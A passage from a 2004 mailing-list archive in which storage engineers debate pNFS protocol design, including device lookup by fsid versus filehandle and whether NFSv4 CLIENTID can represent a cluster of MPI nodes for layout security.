client indexes device > > info by fsid. > > In v4, how can a client have an fsid, and not have a file > handle for an object within the associated fs? How did he > get the fsid if not via a GETATTR of an fh specifying the > FSID attribute? > > > 4) This is useful for a client that scans the mount structure > > of the mounted NFS filesystems at startup to gather > > relevant device info in advance. The mount string is > > part of the mount operation and is convenient for getting > > device info at mount time. Notice that in this case, the > > client does not need to open any files to gather device info. > > In v4, and you have a string, you can do PUTFH, and then a > series of LOOKUP's and then you have the file handle you need > via a GETFH or you can add the GETDEVICELIST/GETDEVINFO and use > current fh directly. > > So I can't see the need for these ops to use anything but the > current fh to indicate what fs they are for. That's workable - both of these are more in the way of convenience for the client than absolute functional requirements. Note that case 4) involves a bunch of extra ops for the client to get a usable fh. For 3), the answer to how the client might have an fsid without GETATTR is that FMP returns the fsid with any layout granted to the client, but that's roughly equivalent to a compounded GETATTR for the fsid. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- >From julian_satran@il.ibm.com Sat Oct 09 09:50:11 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 42133 invoked from network); 9 Oct 2004 16:50:09 -0000 Received: from unknown (66.218.66.216) by m16.grp.scd.yahoo.com with QMQP; 9 Oct 2004 16:50:09 -0000 Received: from unknown (HELO mtagate1.de.ibm.com) (195.212.29.150) by mta1.grp.scd.yahoo.com with SMTP; 9 Oct 2004 16:50:08 -0000 Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1]) by mtagate1.de.ibm.com (8.12.10/8.12.10) with ESMTP id i99GnlfQ160708; Sat, 9 Oct 2004 16:49:47 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i99GnkN9215744; Sat, 9 Oct 2004 18:49:46 +0200 In-Reply-To: <200410010308.i91387O18638@medlicott.panasas.com> To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com, welch@panasas.com MIME-Version: 1.0 X-Mailer: Lotus Notes Build V70_M2_07222004 Beta 2NP July 22, 2004 Message-ID: Date: Sat, 9 Oct 2004 18:49:44 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.5.1| March 5, 2004) at 09/10/2004 18:49:46, Serialize complete at 09/10/2004 18:49:46 Content-Type: multipart/alternative; boundary=""=_alternative 005BE2A6C2256F28_="" X-eGroups-Remote-IP: 195.212.29.150 From: Julian Satran Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran Brent Welch wrote on 01/10/2004 05:08:06: > One fringe theory was that the MPI application could somehow get > a new clientid (of the SETCLIENTID kind) that represented the collection > of processors involved in the MPI application. This is compatible > with the typical batch processing MPI environments where N nodes > are allocated, and then a job is run against those nodes. The > master node uses this clientid to get the layout-related stateids. > It gives out the layout information to its slaves, and the underlying > filesystem allows use of the layout information by the nodes > represented by that clientID. There is somewhat tenuous connection > between the set of processors, the clientID, the layout and associated > layout stateID, and the class-specific information in the layout that > is passed to the storage device so it can ensure that only those > processors access storage. > I am not sure that the implied assumption that the LAYOUT information is handed ""securely"" to some other entity that the one authorized to access the file is acceptable. CLIENT is a machine while file access is authorized to a user. On a more positive note if a user can be associated with a (limited) group of machines - distributing layout information to them can be acceptable (and less tenuous than creating a ""superclient""). Julo >From bwelch@panasas.com Mon Oct 11 09:54:02 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 17864 invoked from network); 11 Oct 2004 16:54:00 -0000 Received: from unknown (66.218.66.166) by m8.grp.scd.yahoo.com with QMQP; 11 Oct 2004 16:54:00 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.206) by mta5.grp.scd.yahoo.com with SMTP; 11 Oct 2004 16:54:00 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i9BGrvE25253; Mon, 11 Oct 2004 09:53:57 -0700 Message-Id: <200410111653.i9BGrvE25253@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.7.1 10/4/2004 with nmh-1.0.4 To: Julian Satran Cc: pnfs-reqs@yahoogroups.com In-reply-to: References: Comments: In-reply-to Julian Satran message dated ""Sat, 09 Oct 2004 18:49:44 +0200."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 Doesn't the NFS client have this kind of problem already, regardless of the pNFS extension? A host operating system that acts for many users has to keep things sorted out under the hood so that if user A gets access to a file, that user B doesn't use the wrong credentials to get access to something they ought not to. >>>Julian Satran said: > Brent Welch wrote on 01/10/2004 05:08:06: > > > One fringe theory was that the MPI application could somehow get > > a new clientid (of the SETCLIENTID kind) that represented the > collection > > of processors involved in the MPI application. This is compatible > > with the typical batch processing MPI environments where N nodes > > are allocated, and then a job is run against those nodes. The > > master node uses this clientid to get the layout-related stateids. > > It gives out the layout information to its slaves, and the underlying > > filesystem allows use of the layout information by the nodes > > represented by that clientID. There is somewhat tenuous connection > > between the set of processors, the clientID, the layout and associated > > layout stateID, and the class-specific information in the layout that > > is passed to the storage device so it can ensure that only those > > processors access storage. > > > > I am not sure that the implied assumption that the LAYOUT information is > handed ""securely"" to some other entity that the one authorized to access > the file is acceptable. CLIENT is a machine while file access is > authorized to a user. > > On a more positive note if a user can be associated with a (limited) > group of machines - distributing layout information to them can be > acceptable (and less tenuous than creating a ""superclient""). -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From julian_satran@il.ibm.com Mon Oct 11 20:04:59 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 54538 invoked from network); 12 Oct 2004 03:04:57 -0000 Received: from unknown (66.218.66.167) by m5.grp.scd.yahoo.com with QMQP; 12 Oct 2004 03:04:57 -0000 Received: from unknown (HELO mtagate2.de.ibm.com) (195.212.29.151) by mta6.grp.scd.yahoo.com with SMTP; 12 Oct 2004 03:04:56 -0000 Received: from d12nrmr1607.megacenter.de.ibm.com (d12nrmr1607.megacenter.de.ibm.com [9.149.167.49]) by mtagate2.de.ibm.com (8.12.10/8.12.10) with ESMTP id i9C34jFW100496; Tue, 12 Oct 2004 03:04:45 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1607.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i9C34iSt107742; Tue, 12 Oct 2004 05:04:45 +0200 In-Reply-To: <200410111653.i9BGrvE25253@medlicott.panasas.com> To: Brent Welch Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Build V70_M2_07222004 Beta 2NP July 22, 2004 Message-ID: Date: Tue, 12 Oct 2004 05:04:41 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.5.1| March 5, 2004) at 12/10/2004 05:04:44, Serialize complete at 12/10/2004 05:04:44 Content-Type: multipart/alternative; boundary=""=_alternative 000F8843C2256F2B_="" X-eGroups-Remote-IP: 195.212.29.151 From: Julian Satran Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ADVERTISEMENT With NFS the problem is limited to ""trust your own machine OS"" at most. You do not place any trust in other clients. Authentication is per user and machine affiliation is a ""local"" issue. Introducing or relying on things like CLIENTID violates this model. Julo Brent Welch wrote on 11/10/2004 18:53:57: > Doesn't the NFS client have this kind of problem already, regardless > of the pNFS extension? A host operating system that acts for many > users has to keep things sorted out under the hood so that if user > A gets access to a file, that user B doesn't use the wrong credentials > to get access to something they ought not to. > > >>>Julian Satran said: > > > Brent Welch wrote on 01/10/2004 05:08:06: > > > > > One fringe theory was that the MPI application could somehow get > > > a new clientid (of the SETCLIENTID kind) that represented the > > collection > > > of processors involved in the MPI application. This is compatible > > > with the typical batch processing MPI environments where N nodes > > > are allocated, and then a job is run against those nodes. The > > > master node uses this clientid to get the layout-related stateids. > > > It gives out the layout information to its slaves, and the underlying > > > filesystem allows use of the layout information by the nodes > > > represented by that clientID. There is somewhat tenuous connection > > > between the set of processors, the clientID, the layout and associated > > > layout stateID, and the class-specific information in the layout that > > > is passed to the storage device so it can ensure that only those > > > processors access storage. > > > > > > > I am not sure that the implied assumption that the LAYOUT information is > > handed ""securely"" to some other entity that the one authorized to access > > the file is acceptable. CLIENT is a machine while file access is > > authorized to a user. > > > > On a more positive note if a user can be associated with a (limited) > > group of machines - distributing layout information to them can be > > acceptable (and less tenuous than creating a ""superclient""). > > > -- > Brent Welch > Software Architect, Panasas Inc > Delivering the premier storage system for scalable Linux clusters > > www.panasas.com > welch@panasas.com > > >From bhalevy@panasas.com Tue Oct 12 05:22:30 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 13559 invoked from network); 12 Oct 2004 12:22:29 -0000 Received: from unknown (66.218.66.172) by m15.grp.scd.yahoo.com with QMQP; 12 Oct 2004 12:22:29 -0000 Received: from unknown (HELO barrule.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 12 Oct 2004 12:22:29 -0000 Received: by barrule.panasas.com with Internet Mail Service (5.5.2653.19) id <4S0FLTBH>; Tue, 12 Oct 2004 08:22:27 -0400 Message-ID: To: ""'pnfs-reqs@yahoogroups.com'"" , ""Welch, Brent"" Date: Tue, 12 Oct 2004 08:22:19 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C4B054.C5D31393"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy Well, the server can't really tell who's on the other side of the line as long as it conforms to the NFS protocol. The client or whatever is there can do whatever it wishes with the information it gets. The human customer though can use the right hardware and software that will provide them with the level of security they need so that unauthorized entities can't use this information. The problem in pnfs arises from the fact that the layout and security token (aka capabilities) given to the client are used to access the storage servers directly, thus not allowing the server who dispatched them to enforce the security on the data path. For example, in NFSv4 a client host can be delegated with the right to serve opens, locks, and I/O operation locally without involving the server, yet the server is always able to intercept any access to the file when an requests get to the server, This is useful in various circumectences, e.g. an employee left the company and it's credentials are revoked. In the pnfs world the server must communicate with the storage servers in order to invalidate or revoke a capability it has previously dispatched in order to achieve the same affect as enforcing security in-band.. I understand that this is hard to achieve in SANs since the host systems as a whole must be fenced- off to enforce security, otherwise their OS is trusted to enforce security into parts of the storage space (data blocks) they are allowed to access (SCSI targets, LUNs, etc.). Benny -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Tuesday, October 12, 2004 5:05 AM To: Brent Welch Cc: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] Notes from Sept 30 With NFS the problem is limited to ""trust your own machine OS"" at most. You do not place any trust in other clients. Authentication is per user and machine affiliation is a ""local"" issue. Introducing or relying on things like CLIENTID violates this model. Julo Brent Welch wrote on 11/10/2004 18:53:57: > Doesn't the NFS client have this kind of problem already, regardless > of the pNFS extension? A host operating system that acts for many > users has to keep things sorted out under the hood so that if user > A gets access to a file, that user B doesn't use the wrong credentials > to get access to something they ought not to. > > >>>Julian Satran said: > > > Brent Welch wrote on 01/10/2004 05:08:06: > > > > > One fringe theory was that the MPI application could somehow get > > > a new clientid (of the SETCLIENTID kind) that represented the > > collection > > > of processors involved in the MPI application. This is compatible > > > with the typical batch processing MPI environments where N nodes > > > are allocated, and then a job is run against those nodes. The > > > master node uses this clientid to get the layout-related stateids. > > > It gives out the layout information to its slaves, and the underlying > > > filesystem allows use of the layout information by the nodes > > > represented by that clientID. There is somewhat tenuous connection > > > between the set of processors, the clientID, the layout and associated > > > layout stateID, and the class-specific information in the layout that > > > is passed to the storage device so it can ensure that only those > > > processors access storage. > > > > > > > I am not sure that the implied assumption that the LAYOUT information is > > handed ""securely"" to some other entity that the one authorized to access > > the file is acceptable. CLIENT is a machine while file access is > > authorized to a user. > > > > On a more positive note if a user can be associated with a (limited) > > group of machines - distributing layout information to them can be > > acceptable (and less tenuous than creating a ""superclient""). > > > -- > Brent Welch > Software Architect, Panasas Inc > Delivering the premier storage system for scalable Linux clusters > > www.panasas.com > welch@panasas.com > > >From trond.myklebust@fys.uio.no Tue Oct 12 05:48:16 2004 Return-Path: X-Sender: trond.myklebust@fys.uio.no X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 18406 invoked from network); 12 Oct 2004 12:48:15 -0000 Received: from unknown (66.218.66.172) by m24.grp.scd.yahoo.com with QMQP; 12 Oct 2004 12:48:15 -0000 Received: from unknown (HELO pat.uio.no) (129.240.130.16) by mta4.grp.scd.yahoo.com with SMTP; 12 Oct 2004 12:48:15 -0000 Received: from mail-mx6.uio.no ([129.240.10.47]) by pat.uio.no with esmtp (Exim 4.34) id 1CHIEq-0006Hm-K8 for pnfs-reqs@yahoogroups.com; Tue, 12 Oct 2004 10:42:33 +0200 Received: from 213.80-202-70.nextgentel.com ([80.202.70.213] helo=[192.168.1.103]) by smtp.uio.no with asmtp (SSLv3:RC4-MD5:128) (Exim 4.34) id 1CHGiQ-0002xu-Gp for pnfs-reqs@yahoogroups.com; Tue, 12 Oct 2004 09:04:58 +0200 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: Content-Type: text/plain; charset=ISO-8859-1 Message-Id: <1097564692.5432.118.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Tue, 12 Oct 2004 09:04:52 +0200 Content-Transfer-Encoding: quoted-printable X-MailScanner-Information: This message has been scanned for viruses/spam. Contact postmaster@uio.no if you have questions about this scanning X-UiO-MailScanner: No virus found X-UiO-Spam-info: not spam, SpamAssassin (score=0, required 12) X-eGroups-Remote-IP: 129.240.130.16 From: Trond Myklebust Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=194000208 X-Yahoo-Profile: trondmy P� ty , 12/10/2004 klokka 05:04, skreiv Julian Satran: > With NFS the problem is limited to ""trust your own machine OS"" at > most. You do not place any trust in other clients. > Authentication is per user and machine affiliation is a ""local"" issue. > Introducing or relying on things like CLIENTID violates this model. Why? CLIENTID is not a form of authentication even in the single client case. In fact it carries NO security information whatsoever: it both can, and usually is shared between processes that are using different RPCSEC_GSS contexts on any given client. The issue of determining whether or not that client is in fact a clustered environment with more than one node goes way beyond the current NFSv4 security models, and afaics will require significant changes to those models (you'd need strong per-node security in addition to the existing per-user). Cheers, Trond >From julian_satran@il.ibm.com Tue Oct 12 06:46:55 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 41760 invoked from network); 12 Oct 2004 13:46:53 -0000 Received: from unknown (66.218.66.167) by m22.grp.scd.yahoo.com with QMQP; 12 Oct 2004 13:46:53 -0000 Received: from unknown (HELO mtagate2.de.ibm.com) (195.212.29.151) by mta6.grp.scd.yahoo.com with SMTP; 12 Oct 2004 13:46:53 -0000 Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1]) by mtagate2.de.ibm.com (8.12.10/8.12.10) with ESMTP id i9CDkpFW068544 for ; Tue, 12 Oct 2004 13:46:52 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i9CDkpXV208866 for ; Tue, 12 Oct 2004 15:46:51 +0200 In-Reply-To: <1097564692.5432.118.camel@lade.trondhjem.org> To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Build V70_M2_07222004 Beta 2NP July 22, 2004 Message-ID: Date: Tue, 12 Oct 2004 15:46:48 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.5.1| March 5, 2004) at 12/10/2004 15:46:50, Serialize complete at 12/10/2004 15:46:50 Content-Type: multipart/alternative; boundary=""=_alternative 00496A67C2256F2B_="" X-eGroups-Remote-IP: 195.212.29.151 From: Julian Satran Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran As far as I understand the current NFS model every RPC is authenticated (if the system is set to do so) and authentication is per user and not per client. It is true that the client OS can forge user identities but that is acceptable (OS can access memory too) as it is limited to a client. Across clients - that is not acceptable. As for the issue Benny raised - I am aware that access to storage can't enforce credentials but as long as clients can be limited to specific volumes we are within the limits of doable. Allowing CLIENTID based authentication is not acceptable as client machines are not trusted and device map may end-up on the wrong machine and screw-up even the weak enforcement that the storage can do. We should somewhat strengthen the LUN masking mechanism (this can be done within the block SCSI model) and not weaken it inadvertently. Julo Trond Myklebust 12/10/04 09:04 Please respond to pnfs-reqs@yahoogroups.com To pnfs-reqs@yahoogroups.com cc Subject Re: [pnfs-reqs] Notes from Sept 30 P� ty , 12/10/2004 klokka 05:04, skreiv Julian Satran: > With NFS the problem is limited to ""trust your own machine OS"" at > most. You do not place any trust in other clients. > Authentication is per user and machine affiliation is a ""local"" issue. > Introducing or relying on things like CLIENTID violates this model. Why? CLIENTID is not a form of authentication even in the single client case. In fact it carries NO security information whatsoever: it both can, and usually is shared between processes that are using different RPCSEC_GSS contexts on any given client. The issue of determining whether or not that client is in fact a clustered environment with more than one node goes way beyond the current NFSv4 security models, and afaics will require significant changes to those models (you'd need strong per-node security in addition to the existing per-user). Cheers, Trond ------------------------ Yahoo! Groups Sponsor --------------------~--> $9.95 domain names from Yahoo!. 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From trond.myklebust@fys.uio.no Tue Oct 12 08:13:47 2004 Return-Path: X-Sender: trond.myklebust@fys.uio.no X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 81149 invoked from network); 12 Oct 2004 15:13:45 -0000 Received: from unknown (66.218.66.166) by m18.grp.scd.yahoo.com with QMQP; 12 Oct 2004 15:13:45 -0000 Received: from unknown (HELO pat.uio.no) (129.240.130.16) by mta5.grp.scd.yahoo.com with SMTP; 12 Oct 2004 15:13:45 -0000 Received: from mail-mx6.uio.no ([129.240.10.47]) by pat.uio.no with esmtp (Exim 4.34) id 1CHOLQ-0003Hj-G2 for pnfs-reqs@yahoogroups.com; Tue, 12 Oct 2004 17:13:44 +0200 Received: from 184.80-202-71.nextgentel.com ([80.202.71.184] helo=[192.168.1.101]) by smtp.uio.no with asmtp (SSLv3:RC4-MD5:128) (Exim 4.34) id 1CHOLN-00023K-IJ for pnfs-reqs@yahoogroups.com; Tue, 12 Oct 2004 17:13:41 +0200 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: Content-Type: text/plain; charset=iso-8859-1 Message-Id: <1097594015.5432.258.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Tue, 12 Oct 2004 17:13:35 +0200 Content-Transfer-Encoding: quoted-printable X-MailScanner-Information: This message has been scanned for viruses/spam. Contact postmaster@uio.no if you have questions about this scanning X-UiO-MailScanner: No virus found X-UiO-Spam-info: not spam, SpamAssassin (score=0, required 12) X-eGroups-Remote-IP: 129.240.130.16 From: Trond Myklebust Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=194000208 X-Yahoo-Profile: trondmy P� ty , 12/10/2004 klokka 15:46, skreiv Julian Satran: > As far as I understand the current NFS model every RPC is > authenticated (if the system is set to do so) and authentication is > per user > and not per client. It is true that the client OS can forge user > identities but that is acceptable (OS can access memory too) as it is > limited to a client. > > Across clients - that is not acceptable. You are missing the point: How do you define ""across clients"" in the above scenario? AFAIK there is NOTHING in the RFC3530 which allows the server to assert that ""this information comes from client 1"", whereas ""that information comes from client 2"". There is NOTHING in those specs that defines some physical boundaries beyond which certain kinds of information cannot be shared. All that the server may do, is assert that ""this information has been authenticated using user 1's RPCSEC_GSS context"", or ""this information has been authenticated using user 2's RPCSEC_GSS context"". As long as that user is authenticated, then we trust the information. If the users have chosen to share state together, then it is their choice, and it is their responsability to ensure safe sharing of state information. IOW: it is currently entirely up to the client to define its own architecture. If it wants to define its own architecture as running across an entire 10000 node cluster, then the NFS server does not have any means to prevent that. > Allowing CLIENTID based authentication is not acceptable as client > machines are not trusted and device map may end-up on the wrong > machine and screw-up even the weak enforcement that the storage can > do. Don't confuse authentication and authorization. You can have a authorization policies that allow several authenticated users to share the same device map. For instance, delegations work because you authenticate on a per user basis, but the authorization to use the delegation is granted to all users that have access to that file (within the scope of the clientid). Cheers, Trond >From julian_satran@il.ibm.com Tue Oct 12 09:55:16 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 44308 invoked from network); 12 Oct 2004 16:55:14 -0000 Received: from unknown (66.218.66.166) by m25.grp.scd.yahoo.com with QMQP; 12 Oct 2004 16:55:14 -0000 Received: from unknown (HELO mtagate1.de.ibm.com) (195.212.29.150) by mta5.grp.scd.yahoo.com with SMTP; 12 Oct 2004 16:55:13 -0000 Received: from d12nrmr1607.megacenter.de.ibm.com (d12nrmr1607.megacenter.de.ibm.com [9.149.167.49]) by mtagate1.de.ibm.com (8.12.10/8.12.10) with ESMTP id i9CGtDfQ126512 for ; Tue, 12 Oct 2004 16:55:13 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1607.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i9CGtCXY103812 for ; Tue, 12 Oct 2004 18:55:12 +0200 In-Reply-To: <1097594015.5432.258.camel@lade.trondhjem.org> To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Build V70_M2_07222004 Beta 2NP July 22, 2004 Message-ID: Date: Tue, 12 Oct 2004 18:55:11 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.5.1| March 5, 2004) at 12/10/2004 18:55:12, Serialize complete at 12/10/2004 18:55:12 Content-Type: multipart/alternative; boundary=""=_alternative 0059B09CC2256F2B_="" X-eGroups-Remote-IP: 195.212.29.150 From: Julian Satran Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ADVERTISEMENT click here Trond Myklebust wrote on 12/10/2004 17:13:35: > > P� ty , 12/10/2004 klokka 15:46, skreiv Julian Satran: > > As far as I understand the current NFS model every RPC is > > authenticated (if the system is set to do so) and authentication is > > per user > > and not per client. It is true that the client OS can forge user > > identities but that is acceptable (OS can access memory too) as it is > > limited to a client. > > > > Across clients - that is not acceptable. > > You are missing the point: > > How do you define ""across clients"" in the above scenario? > I don't think I am missing the point. Handing over authenticators is ""legal"" in any case. The point is than an authenticator has to be handed over. And the authenticator is ""secret"" in any of the protocols. Guessing it (it is ussualy large) is usually considered unfeasible. The ClientID is not secret. > AFAIK there is NOTHING in the RFC3530 which allows the server to assert > that ""this information comes from client 1"", whereas ""that information > comes from client 2"". There is NOTHING in those specs that defines some > physical boundaries beyond which certain kinds of information cannot be > shared. > All that the server may do, is assert that ""this information has been > authenticated using user 1's RPCSEC_GSS context"", or ""this information > has been authenticated using user 2's RPCSEC_GSS context"". As long as > that user is authenticated, then we trust the information. If the users > have chosen to share state together, then it is their choice, and it is > their responsability to ensure safe sharing of state information. > > IOW: it is currently entirely up to the client to define its own > architecture. If it wants to define its own architecture as running > across an entire 10000 node cluster, then the NFS server does not have > any means to prevent that. > > > > Allowing CLIENTID based authentication is not acceptable as client > > machines are not trusted and device map may end-up on the wrong > > machine and screw-up even the weak enforcement that the storage can > > do. > > Don't confuse authentication and authorization. I can hardly stand patronising remarks. > > You can have a authorization policies that allow several authenticated > users to share the same device map. > > For instance, delegations work because you authenticate on a per user > basis, but the authorization to use the delegation is granted to all > users that have access to that file (within the scope of the clientid). > > Cheers, > Trond > > > > ------------------------ Yahoo! Groups Sponsor --------------------~--> > $9.95 domain names from Yahoo!. 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > > > > >From trond.myklebust@fys.uio.no Tue Oct 12 12:46:24 2004 Return-Path: X-Sender: trond.myklebust@fys.uio.no X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 27756 invoked from network); 12 Oct 2004 19:46:23 -0000 Received: from unknown (66.218.66.216) by m24.grp.scd.yahoo.com with QMQP; 12 Oct 2004 19:46:23 -0000 Received: from unknown (HELO pat.uio.no) (129.240.130.16) by mta1.grp.scd.yahoo.com with SMTP; 12 Oct 2004 19:46:22 -0000 Received: from mail-mx6.uio.no ([129.240.10.47]) by pat.uio.no with esmtp (Exim 4.34) id 1CHSaQ-0004G9-89 for pnfs-reqs@yahoogroups.com; Tue, 12 Oct 2004 21:45:30 +0200 Received: from 184.80-202-71.nextgentel.com ([80.202.71.184] helo=[192.168.1.101]) by smtp.uio.no with asmtp (SSLv3:RC4-MD5:128) (Exim 4.34) id 1CHSaN-0001TG-6L for pnfs-reqs@yahoogroups.com; Tue, 12 Oct 2004 21:45:27 +0200 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: Content-Type: text/plain; charset=iso-8859-1 Message-Id: <1097610321.5432.439.camel@lade.trondhjem.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Tue, 12 Oct 2004 21:45:21 +0200 Content-Transfer-Encoding: quoted-printable X-MailScanner-Information: This message has been scanned for viruses/spam. Contact postmaster@uio.no if you have questions about this scanning X-UiO-MailScanner: No virus found X-UiO-Spam-info: not spam, SpamAssassin (score=0, required 12) X-eGroups-Remote-IP: 129.240.130.16 From: Trond Myklebust Subject: Re: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=194000208 X-Yahoo-Profile: trondmy ADVERTISEMENT P� ty , 12/10/2004 klokka 18:55, skreiv Julian Satran: > > I don't think I am missing the point. Handing over authenticators is > ""legal"" in any case. > The point is than an authenticator has to be handed over. And the > authenticator is ""secret"" > in any of the protocols. Guessing it (it is ussualy large) is usually > considered unfeasible. > The ClientID is not secret. No, but it could be made to provide basic machine authentication, because the call to SETCLIENTID_CONFIRM does two things: 1) Causes the server to return a new clientid that is used as the basis for the state. 2) The server looks at the RPC authentication, and derives a principal, and an RPC security flavour, (and if the flavour is RPCSEC_GSS - also a mechanism and a service name) and associates that information to that clientid. IOW it establishes a de-facto ""machine credential"" associated to that particular clientid. If you were truly desperate you could use this to authenticate clients (we are BTW already desperate enough to allow it for RENEW and SETCLIENTID as you can see in the RENEW description on page 201 of RFC3530). --------- That said, I'm still failing to see why all the above is necessary. IOW: Why do we need special server support with new SETCLIENTIDs, new authentication schemes against the server etc in order to deal with the MPI case? AFAICS, the only purpose of introducing the MPI in the first place is to _hide_ the details of the client's internal architecture from the server, and to represent all N nodes as if they were 1 node trunked across several transport mechanisms (or possibly even sharing a single transport?). If it is not capable of doing this, then why even bother looking at it? With the current NFSv4, the only problem should be the lack of decent support for trunking, and that is supposed to be solved by means of the SESSION extensions in NFSv4.1. Is pNFS adding something new that will break this? Cheers, Trond >From bhalevy@panasas.com Tue Oct 12 16:12:21 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 44188 invoked from network); 12 Oct 2004 23:12:19 -0000 Received: from unknown (66.218.66.172) by m17.grp.scd.yahoo.com with QMQP; 12 Oct 2004 23:12:19 -0000 Received: from unknown (HELO barrule.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 12 Oct 2004 23:12:19 -0000 Received: by barrule.panasas.com with Internet Mail Service (5.5.2653.19) id <4S0FL48P>; Tue, 12 Oct 2004 19:12:18 -0400 Message-ID: To: ""'trond.myklebust@fys.uio.no'"" , ""'pnfs-reqs@yahoogroups.com'"" Date: Tue, 12 Oct 2004 19:12:08 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] Notes from Sept 30 X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy ADVERTISEMENT Trond, I completely agree with you. My approach was that to keep things simple within the present NFSv4 spec, you need to model the cluster of clients as a single NFSv4 client sharing the same client id and NFSv4 state space. The different instances can share secrets amongst themselves and the server shouldn't care less. With the new sessions model I think that channels from multiple client hosts can be associated with a single session in a way that's probably indistinguishable from a multi-homed monolithic client opening channels over many nic ports. > Is pNFS adding something new that will break this? pNFS shouldn't add anything new at the NFSv4 level with respect to modeling the client. Security 